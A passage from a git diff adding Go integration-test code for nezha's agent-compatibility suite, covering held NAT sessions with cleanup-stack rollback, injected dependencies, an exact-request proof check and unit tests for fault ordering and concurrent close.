statErr, os.ErrNotExist) +} + +func TestHeldLegacyFMSessionRejectsNonFMPlanIdentity(t *testing.T) { + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000309") + plan := heldFMTestPlan(t, StressSessionTerminal) + input := heldLegacyFMInput{ + Dashboard: &dashboard.Dashboard{}, PATClient: &client.Client{}, Agent: agentInstance, + Readiness: completeHeldReadiness(agentInstance.UUID()), Plan: plan, + } + + // When + _, err := newHeldLegacyFMSession(context.Background(), input) + + // Then + require.Error(t, err) + require.ErrorIs(t, err, ErrInvalidHeldLegacyFMInput) +} + +func TestHeldLegacyFMInputRejectsPATClientBeforeOtherValidation(t *testing.T) { + // Given + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000304") + input := heldLegacyFMInput{ + Dashboard: &dashboard.Dashboard{}, + Agent: agentInstance, + Readiness: completeHeldReadiness(agentInstance.UUID()), + Plan: heldFMTestPlan(t, StressSessionFM), + } + + // When + err := validateHeldLegacyFMInput(context.Background(), input) + + // Then + require.ErrorIs(t, err, ErrInvalidHeldPATClient) +} + +func TestHeldLegacyFMStreamMismatchErrorDoesNotExposeIdentifiers(t *testing.T) { + // Given + responseID := "response-secret-session" + capabilityID := "capability-secret-stream" + + // When + err := heldLegacyFMStreamMismatchError() + message := err.Error() + + // Then + require.ErrorIs(t, err, ErrHeldLegacyFMProtocol) + require.NotContains(t, message, responseID) + require.NotContains(t, message, capabilityID) + require.NotContains(t, message, "Authorization") +} + +func TestHeldLegacyFMListProofRequiresBinaryExactNZFNPathAndEntry(t *testing.T) { + // Given + root := "/workspace/held-fm/list" + valid := heldLegacyFMListFrame(root, "entry.txt", false) + cases := []struct { + name string + frame client.Frame + }{ + {name: "valid", frame: client.Frame{Type: client.FrameBinary, Payload: valid}}, + {name: "text", frame: client.Frame{Type: client.FrameText, Payload: valid}}, + {name: "wrong path", frame: client.Frame{Type: client.FrameBinary, Payload: heldLegacyFMListFrame("/other", "entry.txt", false)}}, + {name: "directory entry", frame: client.Frame{Type: client.FrameBinary, Payload: heldLegacyFMListFrame(root, "entry.txt", true)}}, + {name: "remote error", frame: client.Frame{Type: client.FrameBinary, Payload: []byte("NERRdenied")}}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + release := make(chan struct{}) + server := heldPumpServer(t, func(connection *websocket.Conn) { + messageType := websocket.BinaryMessage + if testCase.frame.Type == client.FrameText { + messageType = websocket.TextMessage + } + require.NoError(t, connection.WriteMessage(messageType, testCase.frame.Payload)) + <-release + }) + connection := heldPumpConnection(t, server) + pump, err := newHeldWebSocketPump(context.Background(), connection, 1) + require.NoError(t, err) + err = proveHeldLegacyFMList(context.Background(), pump, root) + if testCase.name == "valid" { + require.NoError(t, err) + } else { + require.Error(t, err) + require.NotContains(t, err.Error(), root) + require.NotContains(t, err.Error(), "entry.txt") + } + require.NoError(t, pump.Stop(context.Background())) + close(release) + }) + } +} + +func TestHeldLegacyFMCanceledCloseWaiterRetainsCleanupResult(t *testing.T) { + // Given + lifecycle, err := newHeldSessionLifecycle(context.Background(), heldFMTestPlan(t, StressSessionFM), "held-fm-stream", time.Second) + require.NoError(t, err) + require.NoError(t, lifecycle.markLive(nil)) + started := make(chan struct{}) + release := make(chan struct{}) + stack := newHeldCleanupStack() + require.NoError(t, stack.Push(heldCleanupAction{name: "blocked cleanup", cleanup: func(context.Context) error { + close(started) + <-release + return nil + }})) + session := &heldLegacyFMSession{lifecycle: lifecycle, stack: stack} + canceled, cancel := context.WithCancel(context.Background()) + cancel() + + // When + first := make(chan error, 1) + go func() { first <- session.Close(canceled) }() + <-started + + // Then + require.ErrorIs(t, <-first, context.Canceled) + close(release) + require.NoError(t, session.Close(context.Background())) +} + +func heldLegacyFMListFrame(path, name string, directory bool) []byte { + kind := byte(0) + if directory { + kind = 1 + } + frame := make([]byte, 8, 8+len(path)+2+len(name)) + copy(frame, []byte("NZFN")) + binary.BigEndian.PutUint32(frame[4:], uint32(len(path))) + frame = append(frame, []byte(path)...) + frame = append(frame, kind, byte(len(name))) + return append(frame, []byte(name)...) +} + +func heldFMTestPlan(t *testing.T, kind StressSessionKind) StressSessionPlan { + t.Helper() + id, err := NewStressSessionID("held-fm-session") + require.NoError(t, err) + ordinal, err := NewStressAgentOrdinal(1) + require.NoError(t, err) + return StressSessionPlan{ID: id, Kind: kind, Ordinal: 1, Agent: ordinal} +} diff --git a/integration/agentcompat/internal/scenario/held_nat.go b/integration/agentcompat/internal/scenario/held_nat.go new file mode 100644 index 00000000..dbd4ce88 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_nat.go @@ -0,0 +1,205 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "net" + "strings" + "sync" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +var ErrInvalidHeldNATSession = errors.New("held NAT session input is invalid") + +type heldNATInput struct { + Dashboard *dashboard.Dashboard + PATClient *client.Client + Agent *agent.Agent + Readiness agent.Readiness + Plan StressSessionPlan + LifetimeContext context.Context +} + +type heldNATSession struct { + lifecycle *heldSessionLifecycle + cleanup *heldCleanupStack + backend *fixture.NATHoldBackend + request *heldNATRequest + observed fixture.NATEchoRecord + profileID uint64 + protocol bool + closeOnce sync.Once +} + +func newHeldNATSession(ctx context.Context, input heldNATInput) (*heldNATSession, error) { + return newHeldNATSessionWithDependencies(ctx, input, activeHeldNATDependencies()) +} + +func newHeldNATSessionWithDependencies(ctx context.Context, input heldNATInput, dependencies heldNATDependencies) (*heldNATSession, error) { + if err := validateHeldPATClient(input.PATClient); err != nil { + return nil, err + } + if ctx == nil || input.Dashboard == nil || input.Agent == nil || input.Plan.Kind != StressSessionNAT || input.Plan.ID.String() == "" || input.Plan.Ordinal < 1 || input.Plan.Agent.Int() < 1 { + return nil, ErrInvalidHeldNATSession + } + if err := validateHeldReadiness(input.Agent, input.Readiness); err != nil { + return nil, err + } + stateClient := input.PATClient + baseline, err := dependencies.snapshotState(ctx, stateClient) + if err != nil { + return nil, fmt.Errorf("snapshot NAT IOStream baseline: %w", err) + } + lifetimeContext := input.LifetimeContext + if lifetimeContext == nil { + lifetimeContext = ctx + } + lifecycle, err := newHeldSessionLifecycle(lifetimeContext, input.Plan, "", 30*time.Second) + if err != nil { + return nil, fmt.Errorf("create held NAT lifecycle: %w", err) + } + backend, err := fixture.StartNATHoldBackend() + if err != nil { + return nil, fmt.Errorf("start held NAT backend: %w", err) + } + session := &heldNATSession{lifecycle: lifecycle, cleanup: newHeldCleanupStack(), backend: backend} + if err := session.cleanup.Push(heldCleanupAction{name: "close NAT backend", cleanup: func(context.Context) error { return dependencies.closeBackend(session.backend) }}); err != nil { + return nil, rollbackHeldNAT(session, err) + } + domain, err := heldNATDomain(input.Plan.ID.String()) + if err != nil { + return nil, rollbackHeldNAT(session, err) + } + name := "agentcompat-held-nat-" + domain[:strings.Index(domain, ".")] + profileID, err := dependencies.createProfile(ctx, input.Dashboard, backend, input.Readiness.ServerID, name, domain) + if err != nil { + return nil, rollbackHeldNAT(session, fmt.Errorf("create held NAT profile: %w", err)) + } + session.profileID = profileID + if err := session.cleanup.Push(heldCleanupAction{name: "NAT profile", cleanup: func(cleanupCtx context.Context) error { + return dependencies.deleteProfile(cleanupCtx, input.Dashboard, session.profileID) + }}); err != nil { + return nil, rollbackHeldNAT(session, err) + } + capability, err := dependencies.register(ctx, input.PATClient, heldIOStreamCapabilityIdentity{Purpose: client.IOStreamCapabilityPurposeNAT, ServerID: input.Readiness.ServerID, ResourceID: session.profileID}) + if err != nil { + return nil, rollbackHeldNAT(session, err) + } + if err := session.cleanup.Push(heldCleanupAction{name: "unregister NAT capability", cleanup: func(cleanupCtx context.Context) error { + return dependencies.unregisterCapability(cleanupCtx, capability) + }}); err != nil { + return nil, rollbackHeldNAT(session, err) + } + if err := session.cleanup.Push(heldCleanupAction{name: "wait for NAT stream absence", cleanup: func(cleanupCtx context.Context) error { + return dependencies.waitExpectation(cleanupCtx, capability, stateClient, baseline, true) + }}); err != nil { + return nil, rollbackHeldNAT(session, err) + } + if err := session.cleanup.Push(heldCleanupAction{name: "cancel NAT capability", cleanup: func(cleanupCtx context.Context) error { return dependencies.cancelCapability(cleanupCtx, capability) }}); err != nil { + return nil, rollbackHeldNAT(session, err) + } + request, err := dependencies.startRequest(ctx, input.Dashboard.Endpoint(), domain, input.Plan.ID.String(), capability.HeaderCapability()) + if err != nil { + return nil, rollbackHeldNAT(session, err) + } + session.request = request + if err := session.cleanup.Push(heldCleanupAction{name: "held NAT request", cleanup: func(cleanupCtx context.Context) error { + closeErr := dependencies.closeRequest(request) + requestErr := <-request.result + if errors.Is(requestErr, net.ErrClosed) { + requestErr = nil + } + return errors.Join(closeErr, requestErr, cleanupCtx.Err()) + }}); err != nil { + return nil, rollbackHeldNAT(session, err) + } + if err := dependencies.waitRequestObserved(ctx, backend); err != nil { + return nil, rollbackHeldNAT(session, fmt.Errorf("prove held NAT request: %w", err)) + } + observed, err := dependencies.waitRequest(ctx, backend) + if err != nil { + return nil, rollbackHeldNAT(session, fmt.Errorf("read held NAT request: %w", err)) + } + if err := dependencies.proveRequest(observed, domain, input.Plan.ID.String()); err != nil { + return nil, rollbackHeldNAT(session, err) + } + session.observed = observed + session.protocol = true + streamID, err := dependencies.waitCapability(ctx, capability) + if err != nil { + return nil, rollbackHeldNAT(session, err) + } + if err := dependencies.setStreamID(lifecycle, streamID); err != nil { + return nil, rollbackHeldNAT(session, err) + } + if err := dependencies.waitExpectation(ctx, capability, stateClient, baseline, false); err != nil { + return nil, rollbackHeldNAT(session, fmt.Errorf("prove held NAT IOStream: %w", err)) + } + if err := lifecycle.markLive(nil); err != nil { + return nil, rollbackHeldNAT(session, err) + } + return session, nil +} + +func rollbackHeldNAT(session *heldNATSession, original error) error { + return errors.Join(original, session.rollback()) +} + +func (session *heldNATSession) rollback() error { + ctx, cancel := context.WithTimeout(context.WithoutCancel(session.lifecycle.baseContext), 30*time.Second) + defer cancel() + return session.cleanup.Run(ctx) +} + +func (session *heldNATSession) Plan() StressSessionPlan { return session.lifecycle.Plan() } +func (session *heldNATSession) WaitLive(ctx context.Context) error { + return session.lifecycle.WaitLive(ctx) +} +func (session *heldNATSession) WaitClosed(ctx context.Context) error { + return session.lifecycle.WaitClosed(ctx) +} + +func (session *heldNATSession) Done() <-chan struct{} { return session.lifecycle.Done() } +func (session *heldNATSession) CloseResult() error { return session.lifecycle.CloseResult() } +func (session *heldNATSession) IOStreamID() (string, bool) { return session.lifecycle.IOStreamID() } +func (session *heldNATSession) ProtocolProved() bool { return session.protocol } + +func (session *heldNATSession) Close(ctx context.Context) error { + owner, won := session.lifecycle.beginClose() + if won { + session.closeOnce.Do(func() { + go func() { + cleanupCtx, cancel := owner.cleanupContext() + defer cancel() + owner.markClosed(session.cleanup.Run(cleanupCtx)) + }() + }) + } + if err := ctx.Err(); err != nil { + return err + } + return session.lifecycle.WaitClosed(ctx) +} + +func heldNATDomain(identity string) (string, error) { + var builder strings.Builder + for _, character := range strings.ToLower(identity) { + if character >= 'a' && character <= 'z' || character >= '0' && character <= '9' || character == '-' { + builder.WriteRune(character) + } + } + if builder.Len() == 0 { + return "", ErrInvalidHeldNATSession + } + return builder.String() + ".agentcompat-nat.invalid", nil +} + +var _ heldSession = (*heldNATSession)(nil) diff --git a/integration/agentcompat/internal/scenario/held_nat_constructor_fault_test.go b/integration/agentcompat/internal/scenario/held_nat_constructor_fault_test.go new file mode 100644 index 00000000..8b7075a5 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_nat_constructor_fault_test.go @@ -0,0 +1,185 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "net" + "reflect" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +type heldNATConstructorFault struct { + name string + failStage string + wantOrder []string + wantStreamID string + wantAbsentID string + wantPresent bool + wantOriginal error + wantRequest bool + wantProofData fixture.NATEchoRecord + wantBaseline int +} + +func TestHeldNATConstructorFaultsRollbackRegisteredActions(t *testing.T) { + tests := []heldNATConstructorFault{ + {name: "request start", failStage: "start", wantOrder: []string{"cancel", "absence", "unregister", "profile", "backend"}, wantAbsentID: "", wantBaseline: 9, wantOriginal: errHeldNATConstructorRequestStart}, + {name: "request observation", failStage: "observe", wantOrder: []string{"request", "cancel", "absence", "unregister", "profile", "backend"}, wantAbsentID: "", wantBaseline: 9, wantOriginal: errHeldNATConstructorObservation, wantRequest: true}, + {name: "sensitive header proof", failStage: "proof", wantOrder: []string{"request", "cancel", "absence", "unregister", "profile", "backend"}, wantAbsentID: "", wantBaseline: 9, wantOriginal: errHeldNATConstructorProof, wantRequest: true, wantProofData: fixture.NATEchoRecord{SensitiveHeadersPresent: true}}, + {name: "capability wait", failStage: "wait", wantOrder: []string{"request", "cancel", "absence", "unregister", "profile", "backend"}, wantAbsentID: "", wantBaseline: 9, wantOriginal: errHeldNATConstructorWait, wantRequest: true}, + {name: "exact stream ID assignment", failStage: "set-id", wantOrder: []string{"request", "cancel", "absence", "unregister", "profile", "backend"}, wantStreamID: "stream-401", wantAbsentID: "stream-401", wantBaseline: 9, wantOriginal: errHeldNATConstructorSetID, wantRequest: true}, + {name: "present expectation", failStage: "present", wantOrder: []string{"request", "cancel", "absence", "unregister", "profile", "backend"}, wantStreamID: "stream-402", wantAbsentID: "stream-402", wantBaseline: 9, wantOriginal: errHeldNATConstructorPresent, wantRequest: true}, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + var order []string + var observedAbsentID string + var observedPresent bool + var observedBaseline int + dependencies := constructorFaultDependencies(&order, &observedAbsentID, &observedPresent, &observedBaseline, test) + input := heldNATConstructorInput(t) + + _, err := newHeldNATSessionWithDependencies(context.Background(), input, dependencies) + + if !errors.Is(err, test.wantOriginal) || !errors.Is(err, errHeldNATConstructorCancel) || !errors.Is(err, errHeldNATConstructorAbsence) { + t.Fatalf("error=%v, want original plus cancel and absence failures", err) + } + if !errors.Is(err, errHeldNATConstructorUnregister) || !errors.Is(err, errHeldNATConstructorProfile) || !errors.Is(err, errHeldNATConstructorBackend) { + t.Fatalf("error=%v, want all later cleanup failures", err) + } + if test.wantRequest && !errors.Is(err, errHeldNATConstructorRequestClose) { + t.Fatalf("error=%v, want request close failure", err) + } + if !reflect.DeepEqual(order, test.wantOrder) { + t.Fatalf("cleanup order=%v, want %v", order, test.wantOrder) + } + if observedAbsentID != test.wantAbsentID || observedPresent != test.wantPresent { + t.Fatalf("absence expectation stream=%q present=%t, want stream=%q present=%t", observedAbsentID, observedPresent, test.wantAbsentID, test.wantPresent) + } + if observedBaseline != test.wantBaseline { + t.Fatalf("absence baseline=%d, want %d", observedBaseline, test.wantBaseline) + } + }) + } +} + +var ( + errHeldNATConstructorRequestStart = errors.New("constructor request start failed") + errHeldNATConstructorObservation = errors.New("constructor request observation failed") + errHeldNATConstructorProof = errors.New("constructor request proof failed") + errHeldNATConstructorWait = errors.New("constructor capability wait failed") + errHeldNATConstructorSetID = errors.New("constructor stream ID assignment failed") + errHeldNATConstructorPresent = errors.New("constructor present expectation failed") + errHeldNATConstructorCancel = errors.New("constructor cancel cleanup failed") + errHeldNATConstructorAbsence = errors.New("constructor absence cleanup failed") + errHeldNATConstructorUnregister = errors.New("constructor unregister cleanup failed") + errHeldNATConstructorProfile = errors.New("constructor profile cleanup failed") + errHeldNATConstructorBackend = errors.New("constructor backend cleanup failed") +) + +func constructorFaultDependencies(order *[]string, observedAbsentID *string, observedPresent *bool, observedBaseline *int, test heldNATConstructorFault) heldNATDependencies { + return heldNATDependencies{ + snapshotState: func(context.Context, *client.Client) (client.IOStreamState, error) { + return client.IOStreamState{Count: 9}, nil + }, + createProfile: func(context.Context, *dashboard.Dashboard, *fixture.NATHoldBackend, uint64, string, string) (uint64, error) { + return 401, nil + }, + deleteProfile: func(context.Context, *dashboard.Dashboard, uint64) error { + *order = append(*order, "profile") + return errHeldNATConstructorProfile + }, + register: func(context.Context, *client.Client, heldIOStreamCapabilityIdentity) (*heldIOStreamCapability, error) { + return &heldIOStreamCapability{}, nil + }, + startRequest: func(context.Context, string, string, string, client.IOStreamCapability) (*heldNATRequest, error) { + if test.failStage == "start" { + return nil, errHeldNATConstructorRequestStart + } + return &heldNATRequest{connection: closeErrorConn{err: errHeldNATConstructorRequestClose}, result: closedResult()}, nil + }, + waitRequestObserved: func(context.Context, *fixture.NATHoldBackend) error { return nil }, + closeBackend: func(backend *fixture.NATHoldBackend) error { + *order = append(*order, "backend") + return errors.Join(backend.Close(), errHeldNATConstructorBackend) + }, + closeRequest: func(request *heldNATRequest) error { + *order = append(*order, "request") + return errors.Join(request.close(), errHeldNATConstructorRequestClose) + }, + cancelCapability: func(context.Context, *heldIOStreamCapability) error { + *order = append(*order, "cancel") + return errHeldNATConstructorCancel + }, + unregisterCapability: func(context.Context, *heldIOStreamCapability) error { + *order = append(*order, "unregister") + return errHeldNATConstructorUnregister + }, + waitExpectation: func(_ context.Context, capability *heldIOStreamCapability, _ *client.Client, baseline client.IOStreamState, absent bool) error { + *observedBaseline = baseline.Count + if absent { + *order = append(*order, "absence") + } else if test.failStage == "present" { + return errHeldNATConstructorPresent + } + if absent { + *observedAbsentID = capability.streamID + return errHeldNATConstructorAbsence + } + *observedPresent = true + return nil + }, + waitRequest: func(context.Context, *fixture.NATHoldBackend) (fixture.NATEchoRecord, error) { + if test.failStage == "observe" { + return fixture.NATEchoRecord{}, errHeldNATConstructorObservation + } + return test.wantProofData, nil + }, + proveRequest: func(fixture.NATEchoRecord, string, string) error { + if test.failStage == "proof" { + return errHeldNATConstructorProof + } + return nil + }, + waitCapability: func(_ context.Context, capability *heldIOStreamCapability) (string, error) { + if test.failStage == "wait" { + return "", errHeldNATConstructorWait + } + capability.streamID = test.wantStreamID + return test.wantStreamID, nil + }, + setStreamID: func(_ *heldSessionLifecycle, streamID string) error { + if test.failStage == "set-id" { + return errHeldNATConstructorSetID + } + return nil + }, + } +} + +var errHeldNATConstructorRequestClose = errors.New("constructor request close failed") + +func closedResult() chan error { + result := make(chan error, 1) + result <- net.ErrClosed + return result +} + +func heldNATConstructorInput(t *testing.T) heldNATInput { + t.Helper() + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000402") + return heldNATInput{ + Dashboard: &dashboard.Dashboard{}, + PATClient: &client.Client{}, + Agent: agentInstance, + Readiness: completeHeldReadiness(agentInstance.UUID()), + Plan: heldNATTestPlan(t), + } +} diff --git a/integration/agentcompat/internal/scenario/held_nat_dependencies.go b/integration/agentcompat/internal/scenario/held_nat_dependencies.go new file mode 100644 index 00000000..ddd8e569 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_nat_dependencies.go @@ -0,0 +1,79 @@ +//go:build linux + +package scenario + +import ( + "context" + "net/http" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +type heldNATDependencies struct { + snapshotState func(context.Context, *client.Client) (client.IOStreamState, error) + createProfile func(context.Context, *dashboard.Dashboard, *fixture.NATHoldBackend, uint64, string, string) (uint64, error) + deleteProfile func(context.Context, *dashboard.Dashboard, uint64) error + register func(context.Context, *client.Client, heldIOStreamCapabilityIdentity) (*heldIOStreamCapability, error) + startRequest func(context.Context, string, string, string, client.IOStreamCapability) (*heldNATRequest, error) + waitRequestObserved func(context.Context, *fixture.NATHoldBackend) error + waitRequest func(context.Context, *fixture.NATHoldBackend) (fixture.NATEchoRecord, error) + proveRequest func(fixture.NATEchoRecord, string, string) error + waitCapability func(context.Context, *heldIOStreamCapability) (string, error) + setStreamID func(*heldSessionLifecycle, string) error + waitExpectation func(context.Context, *heldIOStreamCapability, *client.Client, client.IOStreamState, bool) error + closeBackend func(*fixture.NATHoldBackend) error + closeRequest func(*heldNATRequest) error + cancelCapability func(context.Context, *heldIOStreamCapability) error + unregisterCapability func(context.Context, *heldIOStreamCapability) error +} + +func defaultHeldNATDependencies() heldNATDependencies { + return heldNATDependencies{ + snapshotState: func(ctx context.Context, transport *client.Client) (client.IOStreamState, error) { + return transport.IOStreamState(ctx) + }, + createProfile: func(ctx context.Context, dashboardInstance *dashboard.Dashboard, backend *fixture.NATHoldBackend, serverID uint64, name, domain string) (uint64, error) { + created, err := client.DoREST[natForm, natIDResponse](ctx, dashboardInstance.Clients().REST, client.RESTRequest[natForm]{Method: http.MethodPost, Path: "/api/v1/nat", Body: &natForm{Name: name, Enabled: true, ServerID: serverID, Host: backend.Address(), Domain: domain}}) + return uint64(created), err + }, + deleteProfile: func(ctx context.Context, dashboardInstance *dashboard.Dashboard, profileID uint64) error { + _, err := client.DoREST[[]uint64, struct{}](ctx, dashboardInstance.Clients().REST, client.RESTRequest[[]uint64]{Method: http.MethodPost, Path: "/api/v1/batch-delete/nat", Body: &[]uint64{profileID}}) + return err + }, + register: func(ctx context.Context, transport *client.Client, identity heldIOStreamCapabilityIdentity) (*heldIOStreamCapability, error) { + return registerHeldIOStreamCapability(ctx, transport, identity) + }, + startRequest: startHeldNATRequest, + waitRequestObserved: func(ctx context.Context, backend *fixture.NATHoldBackend) error { + select { + case <-backend.RequestObserved(): + return nil + case <-ctx.Done(): + return ctx.Err() + } + }, + waitRequest: func(ctx context.Context, backend *fixture.NATHoldBackend) (fixture.NATEchoRecord, error) { + return backend.WaitRequest(ctx) + }, + proveRequest: proveHeldNATRequest, + waitCapability: func(ctx context.Context, capability *heldIOStreamCapability) (string, error) { + return capability.Wait(ctx) + }, + setStreamID: func(lifecycle *heldSessionLifecycle, streamID string) error { + return lifecycle.setIOStreamID(streamID) + }, + waitExpectation: func(ctx context.Context, capability *heldIOStreamCapability, stateClient *client.Client, baseline client.IOStreamState, absent bool) error { + return capability.waitExpectation(ctx, stateClient, baseline, absent) + }, + closeBackend: func(backend *fixture.NATHoldBackend) error { return backend.Close() }, + closeRequest: func(request *heldNATRequest) error { return request.close() }, + cancelCapability: func(ctx context.Context, capability *heldIOStreamCapability) error { return capability.Cancel(ctx) }, + unregisterCapability: func(ctx context.Context, capability *heldIOStreamCapability) error { return capability.Unregister(ctx) }, + } +} + +func activeHeldNATDependencies() heldNATDependencies { + return defaultHeldNATDependencies() +} diff --git a/integration/agentcompat/internal/scenario/held_nat_proof.go b/integration/agentcompat/internal/scenario/held_nat_proof.go new file mode 100644 index 00000000..c2fb4691 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_nat_proof.go @@ -0,0 +1,17 @@ +//go:build linux + +package scenario + +import ( + "errors" + "net/http" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +func proveHeldNATRequest(observed fixture.NATEchoRecord, domain, identity string) error { + if observed.Method != http.MethodPatch || observed.Path != "/held/"+identity || observed.Host != domain || observed.HeaderValue != identity || string(observed.Body) != "held-body-"+identity || observed.SensitiveHeadersPresent { + return errors.New("held NAT request did not match exact protocol proof") + } + return nil +} diff --git a/integration/agentcompat/internal/scenario/held_nat_request.go b/integration/agentcompat/internal/scenario/held_nat_request.go new file mode 100644 index 00000000..d3ef252f --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_nat_request.go @@ -0,0 +1,56 @@ +//go:build linux + +package scenario + +import ( + "bufio" + "context" + "fmt" + "io" + "net" + "net/http" + "sync" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" +) + +type heldNATRequest struct { + connection net.Conn + result chan error + closeOnce sync.Once + closeErr error +} + +func startHeldNATRequest(ctx context.Context, endpoint, domain, identity string, capability client.IOStreamCapability) (*heldNATRequest, error) { + connection, err := (&net.Dialer{}).DialContext(ctx, "tcp", endpoint) + if err != nil { + return nil, err + } + request := &heldNATRequest{connection: connection, result: make(chan error, 1)} + method := "PATCH" + path := "/held/" + identity + body := "held-body-" + identity + go func() { + wire := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: %s\r\nX-AgentCompat-Echo: %s\r\n%s: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", method, path, domain, identity, agentcompatcontract.IOStreamCapabilityHeader, capability.Value(), len(body), body) + _, requestErr := io.WriteString(connection, wire) + if requestErr == nil { + response, readErr := http.ReadResponse(bufio.NewReader(connection), nil) + if readErr == nil { + _, readErr = io.Copy(io.Discard, response.Body) + closeErr := response.Body.Close() + if readErr == nil { + readErr = closeErr + } + } + requestErr = readErr + } + request.result <- requestErr + }() + return request, nil +} + +func (request *heldNATRequest) close() error { + request.closeOnce.Do(func() { request.closeErr = request.connection.Close() }) + return request.closeErr +} diff --git a/integration/agentcompat/internal/scenario/held_nat_test.go b/integration/agentcompat/internal/scenario/held_nat_test.go new file mode 100644 index 00000000..deb6e147 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_nat_test.go @@ -0,0 +1,242 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "net" + "net/http" + "reflect" + "sync" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +func TestHeldNATSessionRejectsInvalidInput(t *testing.T) { + plan := heldNATTestPlan(t) + patClient, err := client.New(client.Config{BaseURL: "http://127.0.0.1"}) + if err != nil { + t.Fatal(err) + } + _, err = newHeldNATSession(context.Background(), heldNATInput{PATClient: patClient, Plan: plan}) + if !errors.Is(err, ErrInvalidHeldNATSession) { + t.Fatalf("error=%v", err) + } +} + +func TestHeldNATSessionRejectsNilPATBeforeRemoteMutation(t *testing.T) { + plan := heldNATTestPlan(t) + + _, err := newHeldNATSession(context.Background(), heldNATInput{Plan: plan}) + + if !errors.Is(err, ErrInvalidHeldPATClient) { + t.Fatalf("error=%v, want ErrInvalidHeldPATClient before other validation", err) + } +} + +func TestHeldNATSessionCloseBeforeLiveRetainsLifecycleError(t *testing.T) { + session := newTestHeldNATSession(t) + if err := session.Close(context.Background()); err != nil { + t.Fatal(err) + } + if err := session.WaitLive(context.Background()); !errors.Is(err, ErrHeldSessionClosedBeforeLive) { + t.Fatalf("WaitLive=%v", err) + } + if err := session.WaitClosed(context.Background()); err != nil { + t.Fatal(err) + } +} + +func TestHeldNATSessionCanceledWaiterDoesNotCancelOwner(t *testing.T) { + session := newTestHeldNATSession(t) + if err := session.lifecycle.markLive(nil); err != nil { + t.Fatal(err) + } + canceled, cancel := context.WithCancel(context.Background()) + cancel() + if err := session.Close(canceled); !errors.Is(err, context.Canceled) { + t.Fatalf("Close=%v", err) + } + if err := session.WaitClosed(context.Background()); err != nil { + t.Fatal(err) + } +} + +func TestHeldNATProofRejectsSensitiveHeaders(t *testing.T) { + observed := fixture.NATEchoRecord{Method: http.MethodPatch, Path: "/held/held-nat", Host: "held-nat.agentcompat-nat.invalid", HeaderValue: "held-nat", Body: []byte("held-body-held-nat"), SensitiveHeadersPresent: true} + + err := proveHeldNATRequest(observed, observed.Host, "held-nat") + + if err == nil { + t.Fatal("proof accepted sensitive backend headers") + } +} + +func TestHeldNATInputRejectsNilPATBeforeReadinessOrPlan(t *testing.T) { + _, err := newHeldNATSession(context.Background(), heldNATInput{PATClient: nil}) + + if !errors.Is(err, ErrInvalidHeldPATClient) { + t.Fatalf("error=%v, want PAT validation before readiness and plan validation", err) + } +} + +func TestHeldNATCleanupOrderIsLIFOForRequiredResources(t *testing.T) { + stack := newHeldCleanupStack() + var order []string + for _, name := range []string{"baseline", "backend", "profile", "unregister", "absence", "cancel", "request"} { + name := name + if err := stack.Push(heldCleanupAction{name: name, cleanup: func(context.Context) error { + order = append(order, name) + return nil + }}); err != nil { + t.Fatal(err) + } + } + + if err := stack.Run(context.Background()); err != nil { + t.Fatal(err) + } + want := []string{"request", "cancel", "absence", "unregister", "profile", "backend", "baseline"} + if !reflect.DeepEqual(order, want) { + t.Fatalf("cleanup order=%v, want %v", order, want) + } +} + +func TestHeldNATRequestCloseRetainsConnectionError(t *testing.T) { + closeFailure := errors.New("request connection close failed") + request := &heldNATRequest{connection: closeErrorConn{err: closeFailure}, result: make(chan error, 1)} + + if err := request.close(); !errors.Is(err, closeFailure) { + t.Fatalf("first close error=%v, want %v", err, closeFailure) + } + if err := request.close(); !errors.Is(err, closeFailure) { + t.Fatalf("repeated close error=%v, want %v", err, closeFailure) + } +} + +func TestHeldNATSessionConcurrentCloseRetainsOneCleanupResult(t *testing.T) { + session := newTestHeldNATSession(t) + cleanupFailure := errors.New("NAT cleanup failed") + if err := session.cleanup.Push(heldCleanupAction{name: "request", cleanup: func(context.Context) error { return cleanupFailure }}); err != nil { + t.Fatal(err) + } + if err := session.lifecycle.markLive(nil); err != nil { + t.Fatal(err) + } + + const callers = 8 + errorsSeen := make(chan error, callers) + var group sync.WaitGroup + group.Add(callers) + for range callers { + go func() { + defer group.Done() + errorsSeen <- session.Close(context.Background()) + }() + } + group.Wait() + for range callers { + if err := <-errorsSeen; !errors.Is(err, cleanupFailure) { + t.Fatalf("Close error=%v, want %v", err, cleanupFailure) + } + } +} + +func TestHeldNATRollbackJoinsOriginalAndCleanupFailures(t *testing.T) { + session := newTestHeldNATSession(t) + original := errors.New("constructor failure") + rollbackFailure := errors.New("rollback failure") + if err := session.cleanup.Push(heldCleanupAction{name: "backend", cleanup: 